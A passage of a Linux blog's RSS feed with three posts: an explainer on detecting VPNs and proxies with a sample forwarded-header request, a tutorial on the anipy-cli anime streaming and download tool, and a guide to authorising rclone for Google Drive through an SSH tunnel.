<p>These providers develop and offer VPN software or apps that you can install on your computer or mobile device. When you connect to a VPN server, the software creates an encrypted &#8220;tunnel&#8221; through which your internet traffic passes, keeping your data secure and your online identity hidden.</p>



<h2 id="what-are-some-of-differences-between-vpns-and-proxies" class="wp-block-heading">What Are Some of Differences Between VPNs and Proxies?</h2>



<p>Both VPNs and proxies are used to route your internet traffic through a remote server, thus hiding your real IP address. However, there are some key differences between the two:</p>



<ol class="wp-block-list">
<li><strong>Encryption</strong>: VPNs encrypt your data, providing a secure and private connection, while proxies do not usually offer encryption.</li>



<li><strong>Traffic Types</strong>: VPNs route all your internet traffic through the VPN server, whereas proxies typically only route specific types of traffic (e.g., HTTP, SOCKS).</li>



<li><strong>Performance</strong>: VPNs may have a greater impact on your internet speed, as they use encryption and handle all your traffic. Proxies generally have a smaller impact on performance, as they route only specific types of traffic.</li>



<li><strong>Use Cases</strong>: VPNs are better suited for privacy, security, and unblocking geo-restricted content, while proxies are more commonly used for anonymity, caching, and content filtering.</li>
</ol>



<h2 id="how-can-you-detect-a-proxy-or-vpn" class="wp-block-heading">How Can You Detect a Proxy or VPN</h2>



<h2 id="how-do-ip-analysis-apis-detect-vpns-and-proxies" class="wp-block-heading">How Do IP Analysis APIs Detect VPNs and Proxies</h2>



<p>IP Analysis APIs, such as <a href="https://ProxyCheck.io" data-type="URL" data-id="https://ProxyCheck.io" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and  <a href="https://ipqualityscore.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPQualityScore.com<span class="wpel-icon wpel-image wpel-icon-19"></span></a> utilize a combination of techniques to identify VPNs and proxies. Here are the main methods employed:</p>



<ol class="wp-block-list">
<li><strong>IP Database</strong>: These services maintain a comprehensive database of known VPN and proxy server IP addresses. This database is regularly updated to ensure accuracy.</li>



<li><strong>Reverse DNS Lookup</strong>: A reverse DNS lookup can reveal whether an IP address is associated with a hosting provider or a data center, which are commonly used by VPN and proxy services.</li>



<li><strong>TCP Fingerprinting</strong>: Analyzing the TCP/IP packets sent by a user can help identify whether they are using a VPN or proxy service. This technique looks for specific patterns and anomalies in the packet structure.</li>



<li><strong>WebRTC Leak Detection</strong>: WebRTC is a browser-based communication protocol that can inadvertently leak a user&#8217;s true IP address, even when using a VPN or proxy. IP detection services check for these leaks to help identify VPN and proxy users.</li>



<li><strong>DNSBL Test</strong>: A test that checks if the IP address is listed on any DNS-based blackhole lists (DNSBLs). These lists contain IP addresses associated with known VPNs, proxies, and other suspicious activities.</li>
</ol>



<h3 id="what-is-a-vpn-leak-how-does-that-affect-you-and-how-can-it-be-fixed" class="wp-block-heading">What Is a VPN Leak, How Does that Affect You, and How Can It Be Fixed?</h3>



<p><strong>A VPN leak occurs when your real IP address or other identifying information is inadvertently exposed while using a VPN</strong>. </p>



<p class="red-border has-palette-color-4-color has-black-background-color has-text-color has-background">This can compromise your privacy and security. There are several types of VPN leaks, such as DNS leaks, WebRTC leaks, and IPv6 leaks.</p>



<p>A VPN leak can affect you by:</p>



<ol class="wp-block-list">
<li>Revealing your true IP address and location, which can be used to track your online activities.</li>



<li>Exposing your browsing habits and personal information to hackers, advertisers, or other third parties.</li>



<li>Undermining your efforts to bypass geo-restrictions or access blocked content.</li>
</ol>



<p>To fix a VPN leak, you can:</p>



<ol class="wp-block-list">
<li>Use a reliable VPN service that offers built-in leak protection.</li>



<li>Disable WebRTC in your browser or use a browser extension that blocks WebRTC leaks.</li>



<li>Ensure that your VPN supports IPv6 or disable IPv6 on your device.</li>
</ol>



<p>In conclusion, detecting VPNs and proxies can be a complex task, but services like <a href="https://ProxyCheck.io" data-type="URL" data-id="https://ProxyCheck.io" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a> <a href="https://IPQualityScore.com" data-type="URL" data-id="https://IPQualityScore.com" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPQualityScore.com<span class="wpel-icon wpel-image wpel-icon-19"></span></a> make it easier by employing various methods to identify users who are masking their online identity. Understanding the differences between VPNs and proxies, as well as knowing the potential risks associated with VPN leaks, can help users make informed decisions about their online privacy and security.</p>



<h2 id="frequently-asked-questions" class="wp-block-heading">Frequently Asked Questions</h2>


<div id="rank-math-faq" class="rank-math-block neon-border">
<div class="rank-math-list ">
<div id="faq-question-1679274467285" class="rank-math-list-item">
<h3 id="can-all-proxies-vpns-be-detected-online" class="rank-math-question ">Can All Proxies/VPNs Be Detected Online?</h3>
<div class="rank-math-answer ">

<p>While IP analysis services can effectively detect many VPNs and proxies, it is important to note that no detection method is foolproof. </p>
<p>Some advanced VPN and proxy services use techniques such as residential IP addresses or continually rotating IP addresses to evade detection.</p>

</div>
</div>
<div id="faq-question-1679274497044" class="rank-math-list-item">
<h3 id="can-proxies-vpns-be-traced-to-the-real-ip-address" class="rank-math-question ">Can Proxies/VPNs Be Traced to the Real IP Address?</h3>
<div class="rank-math-answer ">

<p>In some cases, it is possible to trace a proxy or VPN user&#8217;s real IP address through various techniques, such as WebRTC leaks or by analyzing packet headers. </p>
<p>However, this can be challenging, and advanced VPN and proxy services often implement robust security measures to prevent such tracing.</p>

</div>
</div>
<div id="faq-question-1679274513297" class="rank-math-list-item">
<h3 id="how-do-you-know-if-your-vpn-or-proxy-is-working" class="rank-math-question ">How Do You Know if Your VPN or Proxy Is Working?</h3>
<div class="rank-math-answer ">

<p>To check if your VPN or proxy is working, visit a website that displays your IP address, such this one. </p>
<p>If the IP address displayed is different from your actual IP address, your VPN or proxy is functioning correctly. Additionally, if your detected location is different from your actual location, it is a good indication that your VPN or proxy is working.</p>

</div>
</div>
</div>
</div>


<h2 id="how-to-start-analyzing-ips-and-user-connections" class="wp-block-heading">How to Start Analyzing IPs and User Connections</h2>



<p>IP analysis is the process of examining an IP address to gather information about the user&#8217;s connection and determine if it might be originating from a proxy or VPN. </p>



<p>The following are some simple techniques that you can use to analyze an IP address yourself:</p>



<ol class="wp-block-list">
<li><strong>IP Geolocation</strong>: By determining the geographic location associated with an IP address, you can check if the user&#8217;s claimed location matches the IP&#8217;s actual location. There are several online services and databases, such as <a href="https://www.maxmind.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">MaxMind GeoIP<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://www.ip2location.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IP2Location<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and <a href="https://ipapi.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ipapi<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, that offer geolocation data for IP addresses. <strong>If the locations don&#8217;t match, it could indicate the use of a proxy or VPN</strong>.</li>



<li><strong>IP Blacklists</strong>: Many organizations maintain lists of known proxy and VPN IP addresses. By checking if an IP address is present in these blacklists, you can determine if it&#8217;s associated with a proxy or VPN service. Some popular IP blacklists include the ones provided by <a href="https://www.ipqualityscore.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPQualityScore<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://proxycheck.io/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">ProxyCheck.io<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and <a href="https://iphub.info/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">IPHub<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</li>



<li><strong>ASN Lookup</strong>: The <a href="https://en.wikipedia.org/wiki/Autonomous_system_(Internet)" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Autonomous System Number (ASN)<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a unique identifier for a network or internet service provider (ISP) that controls a group of IP addresses. By looking up the ASN associated with an IP address, you can identify the ISP or organization that owns the IP address. If the IP address belongs to a known VPN provider or data center, it could indicate the use of a proxy or VPN. You can use services like <a href="https://bgp.he.net/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Hurricane Electric&#8217;s BGP Toolkit<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://www.team-cymru.com/ip-asn-mapping" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Cymru&#8217;s IP to ASN Mapping<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, or <a href="https://asn.cymru.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Team Cymru&#8217;s IP to ASN Lookup<span class="wpel-icon wpel-image wpel-icon-19"></span></a> to find the ASN for an IP address.</li>



<li><strong>Reverse DNS Lookup</strong>: A reverse DNS lookup resolves an IP address back to its corresponding domain name. In some cases, the domain name can reveal if the IP address belongs to a known proxy or VPN provider. There are various online tools, such as <a href="https://mxtoolbox.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">MX Toolbox<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://dnschecker.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">DNSChecker<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and <a href="https://centralops.net/co/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">CentralOps<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, that allow you to perform reverse DNS lookups.</li>



<li><strong>IP Reputation</strong>: By checking the reputation of an IP address, you can determine if it has been involved in any malicious activities, such as spamming or hacking. A poor IP reputation could indicate that the IP address belongs to a proxy or VPN service that is frequently used for nefarious purposes. Services like <a href="https://check.spamhaus.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Spamhaus<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, <a href="https://senderscore.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Sender Score<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and <a href="https://www.talosintelligence.com/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Talos Intelligence<span class="wpel-icon wpel-image wpel-icon-19"></span></a> provide IP reputation data.</li>
</ol>



<p class="red-border has-palette-color-4-color has-black-background-color has-text-color has-background">Keep in mind that while these techniques can help you analyze an IP address and identify proxies or VPNs to some extent, they may not catch all instances, especially those that employ advanced evasion techniques. <br><br><strong>For more accurate results, you may need to use specialized APIs or services that employ a combination of these techniques along with advanced analysis methods.</strong></p>



<h2 id="example-simple-header-analysis-to-detect-a-proxy" class="wp-block-heading">Example Simple Header Analysis to Detect a Proxy</h2>



<p>In the context of detecting proxies or VPNs, a response header is a piece of information that the user&#8217;s browser sends to the web server when making a request. These headers can provide clues about whether a user is connecting through a proxy or VPN. Here&#8217;s an example of a few response headers that may be useful for detecting proxies or VPNs:</p>



<pre class="wp-block-code"><code>GET /example-page HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
X-Forwarded-For: 123.45.67.89
Via: 1.1 proxy-server-name (Apache/2.4.41)</code></pre>



<p>In this example, the <code>X-Forwarded-For</code> header contains an IP address (123.45.67.89) that indicates the original client&#8217;s IP. This header is often added by proxy servers to inform the destination server about the user&#8217;s actual IP address. However, not all proxy servers add this header, and some may even remove it to enhance anonymity.</p>



<p>The <code>Via</code> header provides information about the proxy server through which the request has been made. In this case, the header reveals that the request has been forwarded through a proxy server named <code>proxy-server-name</code> running <strong>Apache 2.4.41</strong>.</p>



<p>By analyzing these headers, a proxy or VPN detection service can gain insights into whether a user is connecting through a proxy or VPN. </p>



<p>However, as we mentioned before, not all proxies or VPNs can be detected solely based on headers, as some services may modify or remove certain headers to avoid detection.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/proxy-vpn-check-am-i-using-a-proxy-or-vpn/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3768</post-id>	</item>
		<item>
		<title>anipy-cli: Watch/Download Anime Free via Terminal in Linux</title>
		<link>https://nooblinux.com/anipy-cli-watch-download-anime-free-via-terminal-in-linux/</link>
					<comments>https://nooblinux.com/anipy-cli-watch-download-anime-free-via-terminal-in-linux/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Sat, 18 Mar 2023 01:32:40 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Website Tools & Resources]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3744</guid>

					<description><![CDATA[Anipy-cli is a versatile Python tool that allows you to watch and download anime from the terminal, providing you with the ultimate anime watching experience. This tool scrapes its content from GoGoAnime and can be used as an API. In this tutorial, we&#8217;ll walk you through the installation process, usage, and other features of anipy-cli. [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p><a href="https://github.com/sdaqo/anipy-cli" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Anipy-cli<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a versatile Python tool that allows you to watch and download anime from the terminal, providing you with the ultimate anime watching experience. </p>



<p>This tool scrapes its content from <a href="https://gogoanime.gg/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">GoGoAnime<span class="wpel-icon wpel-image wpel-icon-19"></span></a> and can be used as an API. In this tutorial, we&#8217;ll walk you through the installation process, usage, and other features of anipy-cli.</p>






<h2 id="quick-demo" class="wp-block-heading">Quick Demo</h2>



<p>This is a quick demo on how it works. I&#8217;m running:</p>



<pre class="wp-block-code prompt"><code>anipy-cli -Dq 720</code></pre>



<p>In this example I&#8217;m using the options:</p>



<ul class="wp-block-list">
<li><code>-D</code> : this downloads the anime. Otherwise you&#8217;d stream it.</li>



<li><code>-q 720</code> : this is the quality I want it to download. The default one is 1080p.</li>
</ul>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="902" height="598" src="https://nooblinux.com/wp-content/uploads/2023/03/vcxsrv_lm4YiqKstD.gif" alt="" class="wp-image-3746"/></figure>



<h2 id="1-installation" class="wp-block-heading">1. Installation</h2>



<p>To install anipy-cli, it is recommended to use the PyPI package:</p>



<pre class="wp-block-code prompt"><code>python3 -m pip install anipy-cli --upgrade</code></pre>



<p>You can also install directly from the GitHub repository, which may be more up-to-date:</p>



<pre class="wp-block-code prompt"><code>python3 -m pip install git+https://github.com/sdaqo/anipy-cli
</code></pre>



<p>Anipy-cli requires <code>mpv</code> for video playback. Install it from the <a href="https://mpv.io/installation/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">official website<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. If you prefer to use a different video player, you can specify its path in the configuration file.</p>



<p>Optionally, you can install <code>ffmpeg</code> to download m3u8 playlists using the <code>-f</code> flag. This is recommended if the internal downloader fails, although <code>ffmpeg</code> is comparatively slower.</p>



<h2 id="2-configuring-anipy-cli" class="wp-block-heading">2. Configuring anipy-cli</h2>



<p>When you run the program for the first time, a configuration file will be automatically created. The configuration file can be found at the following locations:</p>



<ul class="wp-block-list">
<li>Linux: <code>~/.config/anipy-cli/config.yaml</code></li>



<li>Windows: <code>%USERPROFILE%/AppData/Local/anipy-cli/config.yaml</code></li>



<li>MacOS: <code>~/.config/anipy-cli/config.yaml</code></li>
</ul>



<p>You can customize the settings in this file to suit your preferences, such as video player path, download location, and MyAnimeList credentials.</p>



<p class="has-palette-color-4-color has-black-background-color has-text-color has-background">Windows users who enable the <code>reuse_mpv_window</code> option will need to download and add the <code>mpv-2.dll</code> to their system path. This file can be obtained from <a href="https://sourceforge.net/projects/mpv-player-windows/files/libmpv/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">SourceForge<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>This is how the <code>config.yaml</code> file looks like:</p>



<pre class="wp-block-code"><code>anime_types:
- sub
- dub
auto_map_mal_to_gogo: false
auto_open_dl_defaultcli: false
auto_sync_mal_to_seasonals: false
dc_presence: false
download_folder_path: <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">/path/where/you/want/to/download/anime</span>
download_name_format: '{show_name}_{episode_number}.mp4'
download_remove_dub_from_folder_name: false
ffmpeg_hls: false
ffmpeg_log_path: /usr/local/lib/python3.10/dist-packages/anipy_cli/user_files/ffmpeg_log
gogoanime_url: https://gogoanime.gg/
history_file_path: /usr/local/lib/python3.10/dist-packages/anipy_cli/user_files/history.json
mal_local_user_list_path: /usr/local/lib/python3.10/dist-packages/anipy_cli/user_files/mal_list.&gt;
mal_password: ''
mal_status_categories:
- watching
mal_user: ''
mpv_commandline_options:</code></pre>



<p>You can read the <a href="https://github.com/sdaqo/anipy-cli/blob/master/docs/anipycli_as_lib.py" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">docs<span class="wpel-icon wpel-image wpel-icon-19"></span></a> to find out more about the configs. </p>



<p>I recommend setting the <strong>download_folder_path</strong> to your preferred download location.</p>



<p>After you save the file the changes will be in effect.</p>



<h2 id="3-using-anipy-cli" class="wp-block-heading">3. Using anipy-cli</h2>



<p>Anipy-cli offers several actions and modes to choose from, along with options to customize its behavior. </p>



<p>To see all available options, run:</p>



<pre class="wp-block-code prompt"><code>anipy-cli --help</code></pre>



<pre class="wp-block-code has-small-font-size"><code>usage: anipy-cli &#091;-D | -B | -H | -S | -M | --delete-history] &#091;-q QUALITY] &#091;-f] &#091;-o] &#091;-a]
                 &#091;-p {mpv,vlc,syncplay,mpvnet}] &#091;-l LOCATION] &#091;--mal-password MAL_PASSWORD]
                 &#091;-h] &#091;-v] &#091;--config-path]

Play Animes from gogoanime in local video-player or Download them.

Actions:
  Different Actions and Modes of anipy-cli (only pick one)

  -D, --download        Download mode. Download multiple episodes like so: first_number-
                        second_number (e.g. 1-3)
  -B, --binge           Binge mode. Binge multiple episodes like so: first_number-second_number
                        (e.g. 1-3)
  -H, --history         Show your history of watched anime
  -S, --seasonal        Seasonal Anime mode. Bulk download or binge watch newest episodes.
  -M, --my-anime-list   MyAnimeList mode. Similar to seasonal mode, but using MyAnimeList
                        (requires MAL account credentials to be set in config).
  --delete-history      Delete your History.

Options:
  Options to change the behaviour of anipy-cli

  -q QUALITY, --quality QUALITY
                        Change the quality of the video, accepts: best, worst or 360, 480, 720
                        etc. Default: best
  -f, --ffmpeg          Use ffmpeg to download m3u8 playlists, may be more stable but is way
                        slower than internal downloader
  -o, --no-seas-search  Turn off search in season. Disables prompting if GoGoAnime is to be
                        searched for anime in specific season.
  -a, --auto-update     Automatically update and download all Anime in seasonals list from
                        start EP to newest.
  -p {mpv,vlc,syncplay,mpvnet}, --optional-player {mpv,vlc,syncplay,mpvnet}
                        Override the player set in the config.
  -l LOCATION, --location LOCATION
                        Override all configured download locations
  --mal-password MAL_PASSWORD
                        Provide password for MAL login (overrides password set in config)

Info:
  Info about the current anipy-cli installation

  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  --config-path         Print path to the config file.</code></pre>



<h2 id="4-anipy-cli-features" class="wp-block-heading">4. anipy-cli Features</h2>



<p>Anipy-cli offers several features, including:</p>



<ul class="wp-block-list">
<li>Faster anime playback than in a browser.</li>



<li>Local video player support.</li>



<li>Quality selection for playback and downloads.</li>



<li>History of watched episodes.</li>



<li>Binge mode for continuous playback of a range of episodes.</li>



<li>Seasonal mode for bulk downloading or binge-watching the latest episodes.</li>



<li>Optional MyAnimeList mode for personalized anime lists.</li>



<li>Optional Discord Presence for displaying the currently watched anime.</li>
</ul>



<h2 id="5-library-usage-in-python" class="wp-block-heading">5. Library Usage in Python</h2>



<p>Anipy-cli can be used as a library, and the documentation can be found <a href="https://github.com/sdaqo/anipy-cli" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">here<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p><strong>Note:</strong> To import the library, use <code>import anipy_cli</code> instead of <code>import anipy-cli</code>, as hyphens are not allowed in Python imports.</p>



<h2 id="6-other-versions" class="wp-block-heading">6. Other Versions</h2>



<p>In addition to the CLI version, there are alternative versions of Anipy available:</p>



<ul class="wp-block-list">
<li><a href="https://github.com/sdaqo/anipy-gui" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">GUI Frontend<span class="wpel-icon wpel-image wpel-icon-19"></span></a> (Work in Progress) by sdaqo</li>



<li><a href="https://github.com/Dabbing-Guy/anipy-dmenu" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Dmenu script<span class="wpel-icon wpel-image wpel-icon-19"></span></a> by @Dabbing-Guy</li>



<li><a href="https://github.com/Dankni95/ulauncher-anime" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Ulauncher extension<span class="wpel-icon wpel-image wpel-icon-19"></span></a> by @Dankni95 (not maintained)</li>
</ul>



<p>These other versions offer different interfaces and integrations, catering to different user preferences.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>Now that you&#8217;ve learned how to install, configure, and use Anipy-cli, you can enjoy watching and downloading your favorite anime directly from the Linux terminal. Happy anime watching!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/anipy-cli-watch-download-anime-free-via-terminal-in-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3744</post-id>	</item>
		<item>
		<title>How to Connect Rclone to Google Drive from a Remote Server (Headless)</title>
		<link>https://nooblinux.com/how-to-connect-rclone-to-google-drive-from-a-remote-server-headless/</link>
					<comments>https://nooblinux.com/how-to-connect-rclone-to-google-drive-from-a-remote-server-headless/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Fri, 17 Mar 2023 11:05:55 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3718</guid>

					<description><![CDATA[Setting up Rclone on a remote server to connect to Google Drive can be a frustrating experience. The problem arises when you need to authorize the connection by visiting the generated URL like http://127.0.0.1:53682/auth?state=blahblah on your local browser. This link won&#8217;t work on your local machine since it was generated on the remote server. Furthermore, [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>Setting up Rclone on a remote server to connect to Google Drive can be a frustrating experience. </p>



<p>The problem arises when you need to authorize the connection by visiting the generated URL like <code>http://127.0.0.1:53682/auth?state=blahblah</code> on your local browser. </p>



<p><strong>This link won&#8217;t work on your local machine since it was generated on the remote server</strong>. </p>



<p>Furthermore, <strong>Rclone does offer an alternative URL for remote/headless server users</strong>, but this might result in an <code>Access blocked: Rclone's request is invalid</code> error. At least that&#8217;s what happens in my case.</p>



<p class="neon-border has-palette-color-4-color has-black-background-color has-text-color has-background">In this tutorial, we will guide you through a workaround using an <strong><a href="https://nooblinux.com/how-to-connect-rclone-to-google-drive-from-a-remote-server-headless/#whats-an-ssh-tunnel" data-wpel-link="internal">SSH tunnel</a></strong> to authorize Rclone for Google Drive connection from your remote server without any issues.</p>






<h2 id="pre-requisites" class="wp-block-heading">Pre-requisites:</h2>



<ol class="wp-block-list">
<li>A remote server (e.g., Digital Ocean, Vultr, Hetzner, etc.)</li>



<li>Rclone installed on the remote server</li>



<li>SSH access to the remote server</li>
</ol>



<h2 id="step-1-begin-rclone-configuration" class="wp-block-heading">Step 1. Begin Rclone Configuration</h2>



<p>Start by connecting to your remote server via SSH and begin the Rclone configuration process with the following command:</p>



<pre class="wp-block-code"><code>rclone config</code></pre>



<p>Go through the motions as you normally would with your preferred settings until you get to the <strong>auto config</strong> question.</p>



<h2 id="step-2-say-yes-to-auto-config" class="wp-block-heading">Step 2. Say Yes to &#8220;auto config&#8221;</h2>



<p><strong>When you get to this question say yes</strong>. This is because, if you&#8217;ve been having my issue, if you select N you&#8217;re given a link that leads to &#8220;Rclone&#8217;s request is invalid&#8221;.</p>



<pre class="wp-block-code"><code>Remote config
Use auto config?
 * Say Y if not sure
 * Say N if you are working on a remote or headless machine
y) Yes (default)
n) No
y/n> Y</code></pre>



<p></p>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="636" height="613" src="https://nooblinux.com/wp-content/uploads/2023/03/image.png" alt="" class="wp-image-3728" srcset="https://nooblinux.com/wp-content/uploads/2023/03/image.png 636w, https://nooblinux.com/wp-content/uploads/2023/03/image-300x289.png 300w" sizes="(max-width: 636px) 100vw, 636px" /><figcaption class="wp-element-caption">What happens if I select option 2: &#8220;Say N if you are working on a remote or headless machine&#8221;.</figcaption></figure>



<p>If you said yes, you&#8217;re given a link like this.</p>



<pre class="wp-block-code"><code>http:&#47;&#47;127.0.0.1:53682/auth?state=ASDha9sd8yhd9pq-ASD</code></pre>



<p><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Leave it like that and open a new terminal session or Putty on your local computer.</span></p>



<h2 id="create-an-ssh-tunnel" class="wp-block-heading">Create an SSH Tunnel</h2>



<p class="has-palette-color-4-color has-black-background-color has-text-color has-background">An SSH tunnel helps by securely forwarding your local computer&#8217;s browser traffic to the remote server, allowing you to access and authorize the Rclone-generated URL as if you were on the server itself.</p>



<p>On your second terminal (I&#8217;m using cmder on Windows), run the following command:</p>



<pre class="wp-block-code"><code>ssh -L 53682:localhost:53682 -C -N -l <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">&lt;your_user></span> <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">&lt;your_remote_server_ip></span></code></pre>



<p>Replace:</p>



<ul class="wp-block-list">
<li><code>&lt;your_user></code> with your actual remote server user</li>



<li><code>&lt;your_remote_server_ip></code> with your remote server&#8217;s IP</li>
</ul>



<p><strong>The session will just hang after you enter the password</strong>. </p>



<p>Don&#8217;t worry, that&#8217;s normal. The tunnel is established.</p>



<p>This is what it will look like.</p>



<figure class="wp-block-image size-full is-resized"><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2023/03/ssh_tunnel.png" alt="" class="wp-image-3733" width="842" height="227" srcset="https://nooblinux.com/wp-content/uploads/2023/03/ssh_tunnel.png 682w, https://nooblinux.com/wp-content/uploads/2023/03/ssh_tunnel-300x81.png 300w" sizes="(max-width: 842px) 100vw, 842px" /></figure>



<h2 id="copy-rclone-authorization-link-to-your-local-browser" class="wp-block-heading">Copy Rclone Authorization Link to Your Local Browser</h2>



<p>Now you can copy the <code>http://127.0.0.1:53682/auth?state=ASDha9sd8yhd9pq-ASD</code> link and place it in your local machine&#8217;s browser and it should work to authorize your Google account.</p>



<p>When you&#8217;ve authorized it, you&#8217;ll get a message <code>Success! All done. Please go back to rclone.</code></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" src="https://nooblinux.com/wp-content/uploads/2023/03/rclone_success_gdrive.png" alt="" class="wp-image-3734" width="842" height="492" srcset="https://nooblinux.com/wp-content/uploads/2023/03/rclone_success_gdrive.png 779w, https://nooblinux.com/wp-content/uploads/2023/03/rclone_success_gdrive-300x175.png 300w, https://nooblinux.com/wp-content/uploads/2023/03/rclone_success_gdrive-768x449.png 768w" sizes="auto, (max-width: 842px) 100vw, 842px" /></figure>



<p>In your command line where you&#8217;re configuring Rclone you&#8217;ll see the configuration moves forward and will see the message:</p>



<pre class="wp-block-code"><code><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Got code</span>
Configure this as a team drive?
y) Yes
n) No (default)
y/n></code></pre>



<p>You can close the browser window and the terminal and move on with the config. <strong>Rclone is now authorized</strong>.</p>



<p>Now you can continue with your Rclone config as you normally would.</p>



<h2 id="frequently-asked-questions" class="wp-block-heading">Frequently Asked Questions</h2>



<h3 id="whats-an-ssh-tunnel" class="wp-block-heading">What&#8217;s an SSH Tunnel?</h3>



<p class="has-palette-color-4-color has-black-background-color has-text-color has-background">An SSH tunnel helps by securely forwarding your local computer&#8217;s browser traffic to the remote server, allowing you to access and authorize the Rclone-generated URL as if you were on the server itself.</p>



<p>An SSH tunnel is a secure, encrypted connection between your local computer and a remote server, allowing you to forward local network traffic to the remote server. In this case, the SSH tunnel is created using the command <code>ssh -L 53682:localhost:53682 -C -N -l root &lt;remote_server_ip></code>.</p>



<p>Here&#8217;s a breakdown of the command:</p>



<ul class="wp-block-list">
<li><code>-L 53682:localhost:53682</code>: This flag sets up local port forwarding, mapping the local port 53682 to the remote server&#8217;s localhost at port 53682. It allows you to access the remote server&#8217;s Rclone configuration URL from your local browser.</li>



<li><code>-C</code>: This flag enables data compression, which can help speed up the transfer of data over the tunnel.</li>



<li><code>-N</code>: This flag tells SSH not to execute any commands on the remote server, meaning it only establishes the connection for port forwarding.</li>



<li><code>-l root</code>: This flag specifies the remote server&#8217;s login username (in this case, &#8216;root&#8217;).</li>



<li><code>&lt;remote_server_ip&gt;</code>: Replace this placeholder with the actual IP address of your remote server.</li>
</ul>



<p>By creating an SSH tunnel, you can securely access resources on the remote server as if they were available locally, enabling you to complete the Rclone configuration process in this tutorial.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>This was a short tutorial on how to connect Rclone to Google Drive. Ideally it should have worked when you tell the Rclone config that you&#8217;re using a remote/headless server. This is just a clean workaround in my opinion. Let me know of you have any feedback or encounter any issues.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-connect-rclone-to-google-drive-from-a-remote-server-headless/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
